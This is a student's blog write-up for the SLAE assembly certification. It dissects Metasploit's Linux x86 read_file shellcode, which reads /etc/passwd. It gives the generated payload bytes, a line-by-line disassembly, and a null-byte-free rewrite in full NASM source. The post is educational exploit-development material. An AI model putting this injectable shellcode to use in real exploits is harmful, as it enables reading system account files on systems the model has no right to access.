Assignment #5 for the SLAE exam is to perform Metasploit shellcode analysis.
Metasploit Shellcode Analysis - Introduction
First, the requirements for assignment #5 were as follows.
Take up at least 3 shellcode samples created using Msfpayload for linux/x86 Use GDB/Ndisasm/Libemu to dissect the functionality of the shellcode Present your analysis
With that in mind, I decided to use each tool once, for each shellcode that I selected. The usage of each tool would be the same, and it will save me some writing/extra posts. Additionally, analyzing the shellcode in-depth with one of these tools should cover the functionality well enough.
With that in mind, let's jump right in!
I needed to select the three shellcodes that I would analyze.
First, I grabbed a list of the linux/x86 payloads from msfvenom. Note that I removed what each payload does to save some space.
doyler@slae:~/slae/_exam/msf_analysis$ msfvenom -l payloads | grep linux/x86 linux/x86/adduser linux/x86/chmod linux/x86/exec linux/x86/meterpreter/bind_ipv6_tcp linux/x86/meterpreter/bind_ipv6_tcp_uuid linux/x86/meterpreter/bind_nonx_tcp linux/x86/meterpreter/bind_tcp linux/x86/meterpreter/bind_tcp_uuid linux/x86/meterpreter/find_tag linux/x86/meterpreter/reverse_ipv6_tcp linux/x86/meterpreter/reverse_nonx_tcp linux/x86/meterpreter/reverse_tcp linux/x86/meterpreter/reverse_tcp_uuid linux/x86/meterpreter_reverse_http linux/x86/meterpreter_reverse_https linux/x86/meterpreter_reverse_tcp linux/x86/metsvc_bind_tcp linux/x86/metsvc_reverse_tcp linux/x86/read_file linux/x86/shell/bind_ipv6_tcp linux/x86/shell/bind_ipv6_tcp_uuid linux/x86/shell/bind_nonx_tcp linux/x86/shell/bind_tcp linux/x86/shell/bind_tcp_uuid linux/x86/shell/find_tag linux/x86/shell/reverse_ipv6_tcp linux/x86/shell/reverse_nonx_tcp linux/x86/shell/reverse_tcp linux/x86/shell/reverse_tcp_uuid linux/x86/shell_bind_ipv6_tcp linux/x86/shell_bind_tcp linux/x86/shell_bind_tcp_random_port linux/x86/shell_find_port linux/x86/shell_find_tag linux/x86/shell_reverse_tcp
In this case, I'll be covering the adduser, chmod, and read_file linux/x86 shellcodes.
Read File Shellcode - Ndisasm Analysis
First, I'll break down the linux/x86/read_file payload using ndisasm.
Before I generated the payload, I took a look at the potential options. I'll skip the advanced ones, as we just want the basic payload.
As you can see, we just have to set the file descriptor (the default being 1 - STDOUT), and the path to the file.
doyler@slae:~/slae/_exam/msf_analysis$ msfvenom -p linux/x86/read_file --payload-options Options for payload/linux/x86/read_file: Name: Linux Read File Module: payload/linux/x86/read_file Platform: Linux Arch: x86 Needs Admin: No Total size: 62 Rank: Normal Provided by: hal Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- FD 1 yes The file descriptor to write output to PATH yes The file path to read Description: Read up to 4096 bytes from the local file system and write it back out to the specified file descriptor
I decided to generate a payload to read the first 4096 bytes of /etc/password and write it to STDOUT.
doyler@slae:~/slae/_exam/msf_analysis$ msfvenom -p linux/x86/read_file FD=1 PATH=/etc/passwd -f c No platform was selected, choosing Msf::Module::Platform::Linux from the payload No Arch selected, selecting Arch: x86 from the payload No encoder or badchars specified, outputting raw payload Payload size: 73 bytes Final size of c file: 331 bytes unsigned char buf = "\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3\xb8" "\x03\x00\x00\x00\x89\xe7\x89\xf9\xba\x00\x10\x00\x00\xcd\x80" "\x89\xc2\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\xb8" "\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xc5\xff\xff" "\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x00";
With the 73 byte shellcode generated, it was time to add it to my C wrapper. After this was complete, I compiled and tested the application. As expected, it worked perfectly!
Note that the shellcode length is improperly printed as 4 bytes. This is due to the null bytes in the unencoded Metasploit shellcode.
doyler@slae:~/slae/_exam/msf_analysis$ gcc -o shellcode -z execstack -fno-stack-protector shellcode.c doyler@slae:~/slae/_exam/msf_analysis$ ./shellcode Shellcode Length: 4 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh ... snip ... saned:x:114:123::/home/saned:/bin/false doyler:x:1000:1000:Ray,,,:/home/doyler:/bin/bash vboxadd:x:999:1::/var/run/vboxadd:/bin/false sshd:x:115:65534::/var/run/sshd:/usr/sbin/nologin
Next, I piped the raw shellcode to ndisasm to begin my analysis.
doyler@slae:~/slae/_exam/msf_analysis$ msfvenom -p linux/x86/read_file FD=1 PATH=/etc/passwd -f raw | ndisasm -u - No platform was selected, choosing Msf::Module::Platform::Linux from the payload No Arch selected, selecting Arch: x86 from the payload No encoder or badchars specified, outputting raw payload Payload size: 73 bytes 00000000 EB36 jmp short 0x38 00000002 B805000000 mov eax,0x5 00000007 5B pop ebx 00000008 31C9 xor ecx,ecx 0000000A CD80 int 0x80 0000000C 89C3 mov ebx,eax 0000000E B803000000 mov eax,0x3 00000013 89E7 mov edi,esp 00000015 89F9 mov ecx,edi 00000017 BA00100000 mov edx,0x1000 0000001C CD80 int 0x80 0000001E 89C2 mov edx,eax 00000020 B804000000 mov eax,0x4 00000025 BB01000000 mov ebx,0x1 0000002A CD80 int 0x80 0000002C B801000000 mov eax,0x1 00000031 BB00000000 mov ebx,0x0 00000036 CD80 int 0x80 00000038 E8C5FFFFFF call dword 0x2 0000003D 2F das 0000003E 657463 gs jz 0xa4 00000041 2F das 00000042 7061 jo 0xa5 00000044 7373 jnc 0xb9 00000046 7764 ja 0xac 00000048 00 db 0x00
While this shellcode is fairly straightforward, I am going to break it into six distinct sections for my analysis.
First, I'll break down everything from bytes 0000003D until the end.
While the instructions look confusing, this is actually just initialized data used to define the file path to read.
As you can see when decoding this, it is the null terminated "/etc/passwd" string.
>>> "2F6574632F706173737764".decode("hex") '/etc/passwd'
In the actually assembly file, it might look something like this:
message: db 0x2F, 0x65, 0x74, 0x63, 0x2F, 0x70, 0x61, 0x73, 0x73, 0x77, 0x64, 0x00
Next up is calls from a few different sections of the disassembled application.
00000000 EB36 jmp short 0x38 00000038 E8C5FFFFFF call dword 0x2 00000007 5B pop ebx
If this looks familiar, it is because I have used it before.
These three instructions perform a jmp-call-pop to load the variable (in this case, /etc/passwd) into EBX.
System Call #1 - Open
You can find the first system call, and earlier register setup, below.
00000002 B805000000 mov eax,0x5 00000007 5B pop ebx 00000008 31C9 xor ecx,ecx 0000000A CD80 int 0x80
This is a simple system call to sys_open, and the parameters are as follows.
- EAX - 0x5 (sys_open)
- EBX - /etc/passwd (pathname)
- ECX - 0 (flags)
This calls sys_open on /etc/passwd with no flags.
System Call #2 - Read
As expected, the next system call is to read.
0000000C 89C3 mov ebx,eax 0000000E B803000000 mov eax,0x3 00000013 89E7 mov edi,esp 00000015 89F9 mov ecx,edi 00000017 BA00100000 mov edx,0x1000 0000001C CD80 int 0x80
The registers are setup as follows.
- EAX - 0x3 (sys_read)
- EBX - returned FD from sys_open (file descriptor)
- ECX - ESP (buffer to read file into)
- EDX - 0x1000 (number of bytes to read)
This system call will execute sys_read on the opened file, and read the first 4096 bytes.
System Call #3 - Write
Next up we have a call to write. While this may seem slightly confusing, the application has to output the file that we read with sys_read.
0000001E 89C2 mov edx,eax 00000020 B804000000 mov eax,0x4 00000025 BB01000000 mov ebx,0x1 0000002A CD80 int 0x80
As before, you can find the register/parameter configuration below.
- EAX - 0x4 (sys_write)
- EBX - 0x1 (FD1, STDOUT)
- ECX - ESP (buffer to write bytes from)
- EDX - returned number of bytes read from sys_read (number of bytes to write)
This call will write the bytes that sys_read read into ESP to STDOUT, so that you can actually view the file contents.
System Call #4 - Exit
Last, but not least, we have our exit call.
0000002C B801000000 mov eax,0x1 00000031 BB00000000 mov ebx,0x0 00000036 CD80 int 0x80
The registers are super straightforward, and setup as expected.
- EAX - 0x1 (sys_exit)
- EBX - 0x0 (exit code 0)
This will cleanly exit the program with no error code.
Metasploit Shellcode Analysis - Optimization
While I didn't want to use one of the included Metasploit encoders, there were still some optimizations that I could make.
From the looks of the first code, I'd be able to shorten the shellcode and remove all the null bytes.
First, I replaced all the MOV E(A/B/C/D)X operations with the lower 8-bit register. Where necessary, I zeroed out the register first as well with a XOR operation. This saved 10 bytes, as well as removing a number of nulls.
Next, I removed the null terminator from the /etc/passwd string, saving another (null byte).
Finally, I modified the MOV edx, 0x1000 call. Due to the size of the value, I wasn't able to use the DL register. That said, I was able to save one byte and remove the null with the following operations:
xor edx,edx mov dh,0x10
As you can see, I just loaded 0x10 into the higher 8-bits of DX after zeroing out the rest.
Testing and Validation
With my changes in place, it was time to test the new shellcode.
As you can see, the wrapper application properly executes!
doyler@slae:~/slae/_exam/msf_analysis$ ./shellcode Shellcode Length: 61 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh
Not only did I remove all the nulls, but I was also able to save 12 bytes off of the original payload!
I've included my assembly code below. Where relevant, I also included the original Metasploit code as a comment, with my change below.
There are no hardcoded jumps, so you can modify the message to a different file.
; Filename: metasploit_read_passwd.nasm ; Author: Ray Doyle (@doylersec) ; Website: https://www.doyler.net ; ; Purpose: SLAE Exam Assignment #5 - Metasploit read_file shellcode (Linux/x86) for /etc/passwd with no null bytes global _start section .text _start: jmp short call_shellcode shellcode: ;mov eax,0x5 xor eax,eax mov al,0x5 pop ebx xor ecx,ecx int 0x80 mov ebx,eax ;mov eax,0x3 mov al,0x3 mov edi,esp mov ecx,edi ;mov edx,0x1000 xor edx,edx mov dh,0x10 int 0x80 mov edx,eax ;mov eax,0x4 xor eax,eax mov al,0x4 ;mov ebx,0x1 xor ebx,ebx mov bl,0x1 int 0x80 ;mov eax,0x1 xor eax,eax mov al,0x1 ;mov ebx,0x0 xor ebx,ebx int 0x80 call_shellcode: call shellcode message: db 0x2F, 0x65, 0x74, 0x63, 0x2F, 0x70, 0x61, 0x73, 0x73, 0x77, 0x64
Metasploit Shellcode Analysis - Conclusion
This was a nice change of pace from writing my shellcode, but I still learned plenty.
As you can see, I've decided to break this assignment down into three parts.
Next week will be another analysis, but I will let the technique and shellcode be a surprise!
Finally, you can find the code and updates in my GitHub repository.
SLAE Exam Requirement
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification: